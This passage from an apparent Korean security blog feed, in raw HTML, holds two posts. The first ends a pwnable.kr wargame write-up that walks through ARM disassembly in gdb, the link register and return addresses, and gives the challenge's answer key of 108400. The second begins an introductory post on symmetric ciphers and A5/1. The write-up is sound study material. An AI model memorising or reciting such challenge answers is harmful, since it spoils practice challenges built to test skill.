white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;Dump&amp;nbsp;of&amp;nbsp;assembler&amp;nbsp;code&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;for&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;function&amp;nbsp;key3:&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;0x00008d20&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color:#aaffaa&quot;&gt;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color:#aaffaa&quot;&gt;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;:&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;push&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{r11}&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;;&amp;nbsp;(str&amp;nbsp;r11,&amp;nbsp;[sp,&amp;nbsp;#&lt;/span&gt;&lt;span style=&quot;color:#aaffaa&quot;&gt;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;4&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;]&lt;/span&gt;&lt;span style=&quot;color:#aaffaa&quot;&gt;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;!&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;)&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;0x00008d24&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color:#aaffaa&quot;&gt;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color:#aaffaa&quot;&gt;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;4&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;:&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;add&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;r11,&amp;nbsp;sp,&amp;nbsp;#0&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;0x00008d28&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color:#aaffaa&quot;&gt;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color:#aaffaa&quot;&gt;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;8&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;:&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;mov&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;r3,&amp;nbsp;lr&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;0x00008d2c&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color:#aaffaa&quot;&gt;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color:#aaffaa&quot;&gt;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;12&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;:&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;mov&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;r0,&amp;nbsp;r3&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;0x00008d30&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color:#aaffaa&quot;&gt;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color:#aaffaa&quot;&gt;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;16&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;:&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;sub&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;sp,&amp;nbsp;r11,&amp;nbsp;#0&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;0x00008d34&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color:#aaffaa&quot;&gt;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color:#aaffaa&quot;&gt;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;20&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;:&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(75, 230, 250); font-size: 14pt;&quot;&gt;pop&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{r11}&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;;&amp;nbsp;(ldr&amp;nbsp;r11,&amp;nbsp;[sp],&amp;nbsp;#4)&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;0x00008d38&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color:#aaffaa&quot;&gt;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color:#aaffaa&quot;&gt;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;24&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;:&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;bx&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;lr&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;End&amp;nbsp;of&amp;nbsp;assembler&amp;nbsp;dump.&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;(gdb)&amp;nbsp;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div style=&quot;text-align:right; margin-top:-13px; margin-right:5px; font-size:9px; font-style:italic&quot;&gt;&lt;a href=&quot;http://colorscripter.com/info#e&quot; target=&quot;_blank&quot; style=&quot;color:#4f4f4f; text-decoration:none&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;Colored by Color Scripter&lt;/span&gt;&lt;/a&gt;&lt;/div&gt;&lt;/td&gt;&lt;td style=&quot;vertical-align:bottom; padding:0 2px 4px 0&quot;&gt;&lt;a href=&quot;http://colorscripter.com/info#e&quot; target=&quot;_blank&quot; style=&quot;text-decoration:none; color:white&quot;&gt;&lt;span style=&quot;font-size: 14pt; word-break: normal; background-color: rgb(79, 79, 79); color: white; border-radius: 10px; padding: 1px;&quot;&gt;cs&lt;/span&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;
&lt;/span&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;우리가 주의깊게 살펴볼 부분은 아래의 두 줄이다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt; background-color: rgb(228, 247, 186);&quot;&gt;mov r3, lr&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt; background-color: rgb(228, 247, 186);&quot;&gt;mov r0, r3&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;우선 lr 레지스터에 대해 알아보자.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&lt;span style=&quot;background-color: rgb(228, 247, 186);&quot;&gt;lr 레지스터는 link register&lt;/span&gt;로 &lt;span style=&quot;background-color: rgb(228, 247, 186);&quot;&gt;함수 호출 후 돌아갈 주소를 저장하는 레지스터&lt;/span&gt;이다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;key3()가 branch 된 후 돌아갈 함수의 주소는 main의 0x00008d80이다.&amp;nbsp;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;이로서 key1(), key2(), key3()의 return 값은 각각 아래와 같다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt; background-color: rgb(228, 247, 186);&quot;&gt;key1(): 0x00008ce4&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt; background-color: rgb(228, 247, 186);&quot;&gt;key2(): 0x00008d0c&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt; background-color: rgb(228, 247, 186);&quot;&gt;key3(): 0x00008d80&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt; background-color: rgb(228, 247, 186);&quot;&gt;key1() + key2() + key3() = 0x0001a770&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;10진수로 바꾸면&amp;nbsp;&lt;span style=&quot;background-color: rgb(228, 247, 186);&quot;&gt;108400&lt;/span&gt;이다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;따라서 우리가 입력한 key 값으로 108400을 넣으면 된다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 773px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/996E1D345C203F5E2C&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F996E1D345C203F5E2C&quot; width=&quot;773&quot; height=&quot;80&quot; filename=&quot;이미지 017.png&quot; filemime=&quot;image/jpeg&quot; style=&quot;&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&lt;/span&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;</description>
      <category>Wargame/pwnable.kr</category>
      <author>MarcoKhan</author>
      <guid isPermaLink="true">https://marcokhan.tistory.com/232</guid>
      <comments>https://marcokhan.tistory.com/232#entry232comment</comments>
      <pubDate>Mon, 24 Dec 2018 11:10:42 +0900</pubDate>
    </item>
    <item>
      <title>Symmetric Crypto (대칭키 암호)</title>
      <link>https://marcokhan.tistory.com/231</link>
      <description>&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&lt;span style=&quot;background-color: rgb(228, 247, 186);&quot;&gt;Symmetric crypto&lt;/span&gt;는 대칭키 암호로써, 암호화와 복호화를 할 때 같은 키를 사용하는 암호이다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;Symmetric crypto는 크게 &lt;span style=&quot;background-color: rgb(255, 217, 236);&quot;&gt;Stream Cipher&lt;/span&gt;와 &lt;span style=&quot;background-color: rgb(250, 244, 192);&quot;&gt;Block Cipher&lt;/span&gt; 두 가지로 나뉜다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&lt;span style=&quot;background-color: rgb(255, 217, 236);&quot;&gt;Stream Cipher&lt;/span&gt;는 &lt;span style=&quot;background-color: rgb(255, 217, 250);&quot;&gt;&lt;span style=&quot;background-color: rgb(255, 217, 236);&quot;&gt;on&lt;/span&gt;&lt;span style=&quot;background-color: rgb(255, 217, 236);&quot;&gt;e-time-&lt;/span&gt;&lt;span style=&quot;background-color: rgb(255, 217, 236);&quot;&gt;pad(일회성 암호)&lt;/span&gt;&lt;/span&gt;와 거의 동일하다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;one-time-pad와 다른 점은 key의 size가 상대적으로 작고, 작은 key를 길게 늘려서 one-time-pad와 같이 사용한다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&lt;span style=&quot;background-color: rgb(250, 244, 192);&quot;&gt;Block Cipher&lt;/span&gt;는 &lt;span style=&quot;background-color: rgb(250, 244, 192);&quot;&gt;codebook(코드북)&lt;/span&gt;의 개념과 거의 동일하다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;블록 암호 키는 codebook에 의해 결정된다. 각각의 키는 다른 코드북을 생성한다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 18pt; background-color: rgb(255, 217, 236);&quot;&gt;&lt;b&gt;Stream Cipher&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;Stream Cipher의 예시로 A5/1, RC4를 설명한다. A5/1은 hardware 기반이고, RC4는 software 기반이다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;Block Cipher는 DES, Tripple DES, AES를 설명한다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;Stream Cipher는 Key K를 평문 P에 맞게 긴 Key stream으로 늘린 후 K와 P의 XOR 연산을 통해 암호문 C를 얻는다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;암호문 C를 복호화하여 평문 P를 얻기 위해 다시 K를 이용한 Key stream을 이용해 C와 K의 XOR 연산을 통해 평문 P를 얻는다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;암호화와 복호화를 위해 같은 Key를 사용하고, 송신자, 수신자 또한 동일한&amp;nbsp;stream algorithm과 key를 사용한다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 18pt;&quot;&gt;&lt;b&gt;&lt;span style=&quot;background-color: rgb(255, 217, 236);&quot;&gt;A5/1&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;A5/1은&lt;span style=&quot;background-color: rgb(255, 217, 236);&quot;&gt; hardware 기반&lt;/span&gt;에서 작동하는 stream cipher이다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;A5/1을 수행하기 위해 &lt;span style=&quot;background-color: rgb(255, 217, 236);&quot;&gt;X,Y,Z의 이름을 가진 선형 피드백 시프트 레지스터(LFSR)&lt;/span&gt;을 사용한다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;레지스터 X는 x0, x1, .... x18 까지 19 bit이다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;레지스터 Y는 y0, y1, .... y21&amp;nbsp;까지 22 bit이다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;레지스터 Z는 z0, z1, .... z22 까지 23&amp;nbsp;bit이다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;X+Y+Z는 64-bit이다. 따라서 A5/1의 Key size는 64 bit이다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;각각의 반복(iteration) or 클럭(clock)마다 각각의 레지스터(X,Y,Z)는 아래의 계산을 한다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt; background-color: rgb(255, 217, 236);&quot;&gt;X 단계&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;img class=&quot;txc-formula&quot; src=&quot;https://t1.daumcdn.net/cfile/tistory/990FD3475C1CC90E3A&quot; historydata=&quot;%3Cflashrichtext%20version%3D%221%22%3E%0A%20%20%3Ctextformat%20font%3D%22Dotum%22%20size%3D%2216%22%20color%3D%222236962%22%20bold%3D%22false%22%20italic%3D%22false%22%20underline%3D%22false%22%20url%3D%22%22%20target%3D%22transparent%22%20align%3D%22left%22%20leftMargin%3D%2225%22%20rightMargin%3D%2225%22%20indent%3D%220%22%20leading%3D%220%22%20blockIndent%3D%220%22%20kerning%3D%22true%22%20letterSpacing%3D%220%22%20display%3D%22block%22%3E%28t%5Cquad%20%3D%5Cquad%20%7B%20x%20%7D_%7B%2013%20%7D%5Cquad%20%5Cbigoplus%20%5Cquad%20%7B%20x%20%7D_%7B%2016%20%7D%5Cquad%20%5Cbigoplus%20%5Cquad%20%7B%20x%20%7D_%7B%2017%20%7D%5Cquad%20%5Cbigoplus%20%5Cquad%20%7B%20x%20%7D_%7B%2018%20%7D%5C%5C%20%7B%20x%20%7D_%7B%20i%20%7D%3D%5Cquad%20%7B%20x%20%7D_%7B%20i-1%20%7D%5Cquad%20%28i%3D18%2C%5Cquad%2017%2C%5Cquad%2016%2C%5Cquad%20...%5Cquad%20%2C%5Cquad%201%29%5C%5C%20%7B%20x%20%7D_%7B%200%20%7D%5Cquad%20%3D%5Cquad%20t%29%3C/textformat%3E%0A%3C/flashrichtext%3E%2C%0A14%2C%0A0xFFFFFF&quot; width=&quot;308&quot; height=&quot;90&quot;&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt; background-color: rgb(255, 217, 236);&quot;&gt;Y 단계&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;&lt;img class=&quot;txc-formula&quot; src=&quot;https://t1.daumcdn.net/cfile/tistory/99F172485C1CC8F905&quot; historydata=&quot;%3Cflashrichtext%20version%3D%221%22%3E%0A%20%20%3Ctextformat%20font%3D%22Dotum%22%20size%3D%2216%22%20color%3D%222236962%22%20bold%3D%22false%22%20italic%3D%22false%22%20underline%3D%22false%22%20url%3D%22%22%20target%3D%22transparent%22%20align%3D%22left%22%20leftMargin%3D%2225%22%20rightMargin%3D%2225%22%20indent%3D%220%22%20leading%3D%220%22%20blockIndent%3D%220%22%20kerning%3D%22true%22%20letterSpacing%3D%220%22%20display%3D%22block%22%3E%28t%5Cquad%20%3D%5Cquad%20%7B%20y%20%7D_%7B%2020%20%7D%5Cquad%20%5Cbigoplus%20%5Cquad%20%7B%20y%20%7D_%7B%2021%20%7D%5C%5C%20%7B%20y%20%7D_%7B%20i%20%7D%3D%5Cquad%20%7B%20y%20%7D_%7B%20i-1%20%7D%5Cquad%20%28i%3D21%2C%5Cquad%2020%2C%5Cquad%2019%2C%5Cquad%20...%5Cquad%20%2C%5Cquad%201%29%5C%5C%20y_%7B%200%20%7D%5Cquad%20%3D%5Cquad%20t%29%3C/textformat%3E%0A%3C/flashrichtext%3E%2C%0A14%2C%0A0xFFFFFF&quot; width=&quot;308&quot; height=&quot;90&quot;&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt; background-color: rgb(255, 217, 236);&quot;&gt;Z 단계&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;img class=&quot;txc-formula&quot; src=&quot;https://t1.daumcdn.net/cfile/tistory/990F624A5C1CC93D0A&quot; historydata=&quot;%3Cflashrichtext%20version%3D%221%22%3E%0A%20%20%3Ctextformat%20font%3D%22Dotum%22%20size%3D%2216%22%20color%3D%222236962%22%20bold%3D%22false%22%20italic%3D%22false%22%20underline%3D%22false%22%20url%3D%22%22%20target%3D%22transparent%22%20align%3D%22left%22%20leftMargin%3D%2225%22%20rightMargin%3D%2225%22%20indent%3D%220%22%20leading%3D%220%22%20blockIndent%3D%220%22%20kerning%3D%22true%22%20letterSpacing%3D%220%22%20display%3D%22block%22%3E%28t%5Cquad%20%3D%5Cquad%20%7B%20z%20%7D_%7B%207%20%7D%5Cquad%20%5Cbigoplus%20%5Cquad%20%7B%20z%20%7D_%7B%2020%20%7D%5Cquad%20%5Cbigoplus%20%5Cquad%20%7B%20z%20%7D_%7B%2021%20%7D%5Cquad%20%5Cbigoplus%20%5Cquad%20%7B%20z%20%7D_%7B%2022%20%7D%5C%5C%20%7B%20z%20%7D_%7B%20i%20%7D%3D%5Cquad%20%7B%20z%20%7D_%7B%20i-1%20%7D%5Cquad%20%28i%3D22%2C%5Cquad%2021%2C%5Cquad%2020%2C%5Cquad%20...%5Cquad%20%2C%5Cquad%201%29%5C%5C%20z_%7B%200%20%7D%5Cquad%20%3D%5Cquad%20t%29%3C/textformat%3E%0A%3C/flashrichtext%3E%2C%0A14%2C%0A0xFFFFFF&quot; width=&quot;307&quot; height=&quot;90&quot;&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;A5/1은 hardware에서 작동하는 알고리즘이기 때문에 clock마다 결과값이 나온다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;매 clock 마다 아래와 같은 식에 의해 m 값이 나온다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;img class=&quot;txc-formula&quot; src=&quot;https://t1.daumcdn.net/cfile/tistory/99D8DF415C1CCABF08&quot; historydata=&quot;%3Cflashrichtext%20version%3D%221%22%3E%0A%20%20%3Ctextformat%20font%3D%22Dotum%22%20size%3D%2216%22%20color%3D%222236962%22%20bold%3D%22false%22%20italic%3D%22false%22%20underline%3D%22false%22%20url%3D%22%22%20target%3D%22transparent%22%20align%3D%22left%22%20leftMargin%3D%2225%22%20rightMargin%3D%2225%22%20indent%3D%220%22%20leading%3D%220%22%20blockIndent%3D%220%22%20kerning%3D%22true%22%20letterSpacing%3D%220%22%20display%3D%22block%22%3E%28m%5Cquad%20%3D%5Cquad%20maj%28%7B%20x%20%7D_%7B%208%20%7D%2C%5Cquad%20%7B%20y%20%7D_%7B%2010%20%7D%2C%5Cquad%20%7B%20z%20%7D_%7B%2010%20%7D%29%29%3C/textformat%3E%0A%3C/flashrichtext%3E%2C%0A14%2C%0A0xFFFFFF&quot; width=&quot;221&quot; 